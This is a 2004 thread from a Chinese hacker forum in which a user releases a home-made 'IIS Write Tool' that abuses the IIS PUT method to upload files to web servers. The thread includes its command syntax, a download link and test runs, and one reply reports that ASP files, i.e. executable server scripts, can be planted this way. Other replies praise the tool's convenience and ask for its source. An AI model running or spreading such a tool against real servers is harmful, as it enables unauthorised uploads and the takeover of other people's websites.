Board logo

标题: [原创]IIS Write Tool V1.0 [打印本页]

作者: damnyou    时间: 2004-8-12 23:29     标题: [原创]IIS Write Tool V1.0

[这个贴子最后由damnyou在 2004/08/12 11:34pm 第 1 次编辑] 近来IIS 的PUT命令利用,玩得很热闹. 某网站有个相关的利用工具,我想下了看,KAO,原来还要会员! 于是我自己写了一个,大家帮忙测试一下. ----------------------------------------- ***************************************** IIS Write Tool V1.0 ***************************************** By Tiger--www.Xtiger.net&www.thysea.com usage:D:\product\iiswscan\iisw.exe 127.0.0.1 80 file.txt /path/my_file.txt ---------------------------------------------- 四个参数: 目标IP,端口,本地文件,上传到的远程主机的路径和文件名. 我还准备写个写权限探测的扫描器,由于暂时没有完善,所以过段时间发布. 大家测试后如果有什么意见和建议,可以到www.Xtiger.net和www.thysea.com上发表. 谢谢! -->>点此下载<<--
作者: damnyou    时间: 2004-8-12 23:31     标题: [原创]IIS Write Tool V1.0


   请叶子把我发的程序加上连接放到帖子上
   谢谢!
作者: 黑色叶子    时间: 2004-8-12 23:35     标题: [原创]IIS Write Tool V1.0

http://down.hackersky.com/thysea/iisw.rar
作者: 风灵风之子    时间: 2004-8-13 01:10     标题: [原创]IIS Write Tool V1.0

强烈要求楼主开源
呵呵
作者: 默读忧伤    时间: 2004-8-13 16:19     标题: [原创]IIS Write Tool V1.0

[这个贴子最后由默读忧伤在 2004/08/13 04:31pm 第 1 次编辑]

C:\>iisw.exe 127.0.0.1 80 iisw.exe myiis2.exe
*****************************************
          IIS Write Tool V1.0
*****************************************
By Tiger--www.Xtiger.net&www.thysea.com
[!] iisw.exe size is 543588 bytes
[1] Connected to 127.0.0.1
please wait...
[2] Upfile Succeed!!!
[3] Modifyfile Succeed!!!
[!] All done
嗯,它说是成功了,可是我却找不到上传了的文件……反而多了一个“tiger.txt”这个是什么东西……
另外一种格式测试:
C:\>iisw.exe 127.0.0.1 80 iisw.exe /path/iis.exe
*****************************************
          IIS Write Tool V1.0
*****************************************
By Tiger--www.Xtiger.net&www.thysea.com
[!] iisw.exe size is 543588 bytes
[1] Connected to 127.0.0.1
please wait...
[Err] Upfile faile!!!
加了“/path/”又失败了……
作者: damnyou    时间: 2004-8-13 21:53     标题: [原创]IIS Write Tool V1.0

下面引用由默读忧伤2004/08/13 04:19pm 发表的内容:
C:\>iisw.exe 127.0.0.1 80 iisw.exe myiis2.exe
*****************************************
          IIS Write Tool V1.0
*****************************************
...
    这个是上传到远程主机上的。

    那个/path是指的目标主机网站的相对路径。如果是放到对方网站的根目录上依然要加个“/”符号
    如:
    iisw.exe 127.0.0.1 80 iisw.exe /myiis2.exe
作者: 默读忧伤    时间: 2004-8-14 00:02     标题: [原创]IIS Write Tool V1.0

呵呵,试验成功了,连ASP文件都能传……恐怖的东西
作者: bigblock    时间: 2004-8-14 01:01     标题: [原创]IIS Write Tool V1.0

晕~~以后不用到处找了
方便





欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2